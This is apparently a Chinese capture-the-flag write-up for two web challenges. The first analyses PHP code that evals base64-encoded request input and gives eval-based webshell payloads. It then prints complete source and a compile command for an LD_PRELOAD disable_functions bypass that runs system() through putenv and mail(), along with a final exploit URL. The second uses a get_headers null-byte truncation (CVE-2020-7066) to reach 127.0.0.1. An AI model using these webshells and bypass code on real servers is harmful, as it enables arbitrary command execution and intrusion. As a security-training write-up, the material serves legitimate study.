打开网页是一串PHP代码
<title>Check_In</title>
highlight_file(__FILE__);
class ClassName
{
public $code = null;
public $decode = null;
function __construct()
{
$this->code = @$this->x()['Ginkgo'];
$this->decode = @base64_decode( $this->code );
@Eval($this->decode);
}
public function x()
{
return $_REQUEST;
}
}
new ClassName();
刚开始还以为是反序列化的题目,但是仔细想来想去这里也没得反序列化的函数,就有些懵逼,开始分析代码
这里首先定义了一个类ClassName
类里面有两个变量,整的挺花里胡哨,首先类调用了一个x函数,x函数返回的是我们传入的get和post请求,然后将$_REQUEST
(php中$_REQUEST可以获取以POST方法和GET方法提交的数据)数组里的以Ginkgo为键名的值赋值给类里的code变量
@
在这里是个什么意思呢?(@表示@符号后的语句如果有错误会忽略,不会提示,因为php运行时会有些错误,一些提醒的错误,如果用@那么这条语句有错误的也不会有提示),然后将类中的code变量的值进行base64解码赋值给类中的decode变量,最后eval函数执行decode中的值。
整那么多花里胡哨的,最终想表达的意思就是
$code = $_REQUEST['Ginkgo'];
@eval(base64_decode($code));
?>
这一看就是个命令执行
首先执行个phpinfo看看?
/?Ginkgo=cGhwaW5mbygpOw==
PHP版本7.3.18
那么下一步当然是看disable_functions啦
可以看到能用的全给禁了,不过还有个assert函数和eval函数
这里给两个payload:
echo base64_encode('$a="assert";$a(eval($_POST["a"]));');
echo base64_encode('eval($_POST["a"]);');
既然有shell了
那么蚁剑上
注:这里蚁剑自带base64加密
看这个readflag似曾相识
拖到IDA中 F5查看伪代码
这里可以cat /flag,那么我们看看终端。
打开终端cat /flag
用不了 那就绕呗
引进一个知识点
bypass_disable_functions这位大佬讲的很清晰
简而言之就是编写一个和系统同名的函数,使之在调用系统真正函数之前调用编写的恶意函数,达到绕过disable_functions
那么LD_PRELOAD又是什么呢?
LD_PRELOAD,是个环境变量,用于动态库的加载,动态库加载的优先级最高,一般情况下,其加载顺序为LD_PRELOAD>LD_LIBRARY_PATH>/etc/ld.so.cache>/lib>/usr/lib。程序中我们经常要调用一些外部库的函数,以open()和execve()为例,如果我们有个自定义这两函数,把它编译成动态库后,通过LD_PRELOAD加载,当程序中调用open函数时,调用的其实是我们自定义的函数
但是我们又需要写入到环境变量,那么php中的putenv函数可以解决我们的问题
bypass.c
#define _GNU_SOURCE
#include
#include
#include
extern char** environ; //获取环境变量
__attribute__ ((__constructor__)) void preload (void)
{
const char* cmdline = getenv("EVIL_CMDLINE");
//获取EVIL_CMDLINE的值
int i;
//从环境变量中遍历“LD_PRELOAD”的位置,并将其值设为NULL。
//从而使下面的system()正常执行。
for (i = 0; environ[i]; ++i) {
if (strstr(environ[i], "LD_PRELOAD")) {
environ[i][0] = '\0';
}
}
// 执行命令
system(cmdline);
}
编译
gcc -shared -fPIC bypass.c -o bypass_x64.so
bypass.php
echo " example: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so
";
$cmd = $_GET["cmd"];
$out_path = $_GET["outpath"];
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
echo " cmdline: "
. $evil_cmdline . "";
putenv("EVIL_CMDLINE=" . $evil_cmdline); //设置EVIL_CMDLINE环境变量
$so_path = $_GET["sopath"];
putenv("LD_PRELOAD=" . $so_path); //加载恶意动态库
mail("", "", "", ""); //利用mail函数触发恶意函数,跳转至__attribute__ ((__constructor__))修饰的函数。
echo " output:
"
. nl2br(file_get_contents($out_path)) . "";
unlink($out_path);
?>
这两个文件需要上传至/tmp/目录下
故最终payload:
http://833117ab-80b8-49a9-816f-0bafbb279f2a.node3.buuoj.cn/?Ginkgo=ZXZhbCgkX0dFVFsiYSJdKTs=&a=include(%27/tmp/bypass.php%27);&cmd=/readflag&outpath=/tmp/123.txt&sopath=/tmp/bypass_x64.so
hint:cve-2020-7066
baidu查了一下发现是get_headers($url)函数中的内容可以被%00截断
而题目要求只能访问*.ctfhub.com
故我们可以构造payload:
/?url=http://127.0.0.1%00www.ctfhub.com
/?url=http://127.0.0.123%00www.ctfhub.com
即可得到flag